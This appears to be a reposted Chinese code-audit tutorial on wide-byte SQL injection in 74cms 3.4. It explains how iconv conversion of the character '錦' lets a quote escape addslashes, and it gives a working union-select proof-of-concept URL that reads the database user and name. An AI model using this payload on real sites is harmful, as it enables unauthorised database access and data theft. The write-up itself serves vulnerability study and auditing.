0x01 背景

首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:
1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;
2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。
现在基本上都会将mysql的连接配置为“set character_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。
漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-063219

0x02 环境搭建

看背景我们使用了低版本的74cms程序,版本为3.4(20140310)
①源码网上可以搜到,我打包了一份:http://pan.baidu.com/s/1c1mLCru
②解压到www的74cms(20140310)目录下,浏览器访问http://localhost/74cms(20140310)),然后按照提示一步步安装即可,安装遇到问题请自行百度或谷歌,成功后访问如下图:

0x03 漏洞分析

Part1:源码结构

源码的结构比较清晰,应该是审计过最清晰的结构 了,主要有下面三块内容:

index.php引入了common.inc.php文件,我们跟进common.inc.php,发现了处理gpc的函数:

<?php
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
?>

可以看到,服务端处理GET和POST请求的变量时都会做addslashes处理。
而且74cms为了防止宽字节注入,将MySQL连接设置为二进制读取,配置在/include/mysql.class.php中:

<?php
function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1)
{
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if (!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)) {
$this->dbshow('Can not connect to Mysql!');
} else {
if ($this->dbversion() > '4.1') {
mysql_query("SET NAMES gbk");
if ($this->dbversion() > '5.0.1') {
mysql_query("SET sql_mode = ''", $this->linkid);
//character_set_client=binary即二进制方式
mysql_query("SET character_set_connection=" . $dbcharset . ", character_set_results=" . $dbcharset . ", character_set_client=binary", $this->linkid);
}
}
}
...
}
?>

接下来看看php中iconv函数的使用会造成什么样的后果。

Part2:审计过程

注入一分析:
1.在/plus/ajax_user.php注册处:

elseif($act == 'do_reg')
{
$captcha = get_cache('captcha');
if ($captcha['verify_userreg'] == "1") {
$postcaptcha = $_POST['postcaptcha'];
if ($captcha['captcha_lang'] == "cn" && strcasecmp(QISHI_DBCHARSET, "utf8") != 0) {
$postcaptcha = iconv("utf-8", QISHI_DBCHARSET, $postcaptcha);
}
if (empty($postcaptcha) || empty($_SESSION['imageCaptcha_content']) || strcasecmp($_SESSION['imageCaptcha_content'], $postcaptcha) != 0) {
exit("err");
}
}
require_once(QISHI_ROOT_PATH . 'include/fun_user.php');
$username = isset($_POST['username']) ? trim($_POST['username']) : exit("err");
$password = isset($_POST['password']) ? trim($_POST['password']) : exit("err");
$member_type = isset($_POST['member_type']) ? intval($_POST['member_type']) : exit("err");
$email = isset($_POST['email']) ? trim($_POST['email']) : exit("err");
if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0) {
//对注册的名字进行utf-8到GBK的编码转换
$username = iconv("utf-8", QISHI_DBCHARSET, $username);
$password = iconv("utf-8", QISHI_DBCHARSET, $password);
}
$register = user_register($username, $password, $member_type, $email);

这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\正好为5c。
所以如果我们将username设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\’,然后这里注册时会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来引发注入漏洞。

2.我们继续跟进$register=user_register($username,$password,$member_type,$email);
这里的user_register函数,在/include/fun_user.php里:

//检查简历的完成程度
//注册会员
function user_register($username,$password,$member_type=0,$email,$uc_reg=true)
{
global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash;
$member_type=intval($member_type);
//这里是用get_user_inusername函数来判断用户名是否已经存在,我们跟进
$ck_username=get_user_inusername($username);
$ck_email=get_user_inemail($email);
... ...
return $insert_id;
}

3.继续跟进get_user_inusername函数,在/include/fun_user.php里:

function get_user_inusername($username)
{
global $db;
//带入查询,可注入~
$sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";
}

注入二分析:
在plus/ajax_street.php中:

elseif($act == 'key')
{
$key = trim($_GET['key']);
if (!empty($key)) {
if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0)
//对参数key进行utf-8到GBK编码的转换
$key = iconv("utf-8", QISHI_DBCHARSET, $key);
//带入查询,可以注入
$result = $db->query("select * from " . table('category') . " where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");
//将查询结果输出到页面中,可回显
while ($row = $db->fetch_array($result)) {
if ($listtype == "li") {
$htm .= "<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>";
} else {
$_GET['streetid'] = $row['c_id'];
$url = url_rewrite('QS_street', $_GET);
$htm .= "<li><a href=\"{$url}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>";
};
}
if (empty($htm)) {
$htm = "<span class=\"noinfo\">没有找到关键字: <span>{$key}</span> 相关道路!</span>";
}
exit($htm);
}
}

这里分析发现页面将查询结果回显出来,构造一些union的查询语句即可获取数据库的敏感信息。

0x04 漏洞证明

我们使用注入二(有回显)的来做证明
发现74cms的category表有9个字段,所以构造获取数据库用户和相关信息的POC:

http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(),9%23


查看sql语句发现查询语句里反斜杠被转移,单引号成功逃逸出来:

最后,有兴趣的同学可以继续获取其它的管理员账户等相关字段的信息。

附GBK的汉字编码范围:

汉字区包括:
a. GB 2312 汉字区。即 GBK/2: B0A1-F7FE。收录 GB 2312 汉字 6763 个,按原顺序排列。
b. GB 13000.1 扩充汉字区。包括:
(1) GBK/3: 8140-A0FE。收录 GB 13000.1 中的 CJK 汉字 6080 个。
(2) GBK/4: AA40-FEA0。收录 CJK 汉字和增补的汉字 8160 个。CJK 汉字在前,按 UCS 代码大小排列;增补的汉字(包括部首和构件)在后,按《康熙字典》的页码/字位排列。

可以看到,GBK编码中的两个字符是一个汉字,第一个字符需要大于128。

原文链接:http://www.cnbraid.com/2016/02/28/sql4/,如需转载请联系作者。

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入的更多相关文章

  1. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

  2. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...

  3. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用

    0x01 背景 PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace).反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞. 0x ...

  5. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  6. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  7. SQL宽字节注入

    0x00 概述 - 什么是宽字节注入? 宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可 -宽字节注入的条件 1) 数据库查询设置为GBK编码 2 ...

  8. SQL注入:宽字节注入

    了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...

  9. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

随机推荐

  1. Spark RDD概念学习系列之RDD是什么?(四)

       RDD是什么? 通俗地理解,RDD可以被抽象地理解为一个大的数组(Array),但是这个数组是分布在集群上的.详细见  Spark的数据存储 Spark的核心数据模型是RDD,但RDD是个抽象类 ...

  2. JavaServer Faces 2.2 requires Dynamic Web Module 2.5 or newer

    Description Resource Path Location Type JavaServer Faces 2.2 can not be installed : One or more cons ...

  3. magento目录结构精编版

    1 /app – 程序根目录 2 3 /app/etc – 全局配置文件目录 4 5 /app/code – 所有模块安装其模型和控制器的目录 6 7 /app/code/core – 核心代码或经过 ...

  4. JVM启动参数小结

    一:JVM启动参数共分为三类:         其一是标准参数(-),所有的JVM实现都必须实现这些参数的功能,而且向后兼容:        其二是非标准参数(-X),指的是JVM底层的一些配置参数, ...

  5. centOS安装openoffice

    centOS安装openoffice的方法: yum install openoffice.org-writer yum install openoffice.org-calc yum install ...

  6. Spring REST实践之客户端和测试

    RestTemplate 可参考spring实战来写这部分. RestTemplate免于编写乏味的样板代码,RestTemplate定义了33个与REST资源交互的方法,涵盖了HTTP动作的各种形式 ...

  7. VC++中几种字符标志的解释

    VC++中几种字符标志的解释 LPSTR = char * LPCSTR = const char * LPWSTR = wchar_t * LPCWSTR = const wchar_t * LPO ...

  8. JavaScript 跨域:谈谈跨域之 JSONP

    在 Web 开发中,后台开发人员应该会通常遇到这个问题:跨域,而使用 JSONP 就是其中解决办法之一,当然,还有其它解决方法,比如:window.name.window.postMessage.CO ...

  9. cocos2d-x android java调用C++

    转自:http://www.cnblogs.com/mokey/archive/2013/04/10/3012961.html java调用C++ 1.在jniHelper.java文件中定义一个方法 ...

  10. Spring三种实例化Bean的方法

    1.实例化bean的三种方法:(1) 构造器<!-- 体验1 --><bean id="personService" class="com.persia ...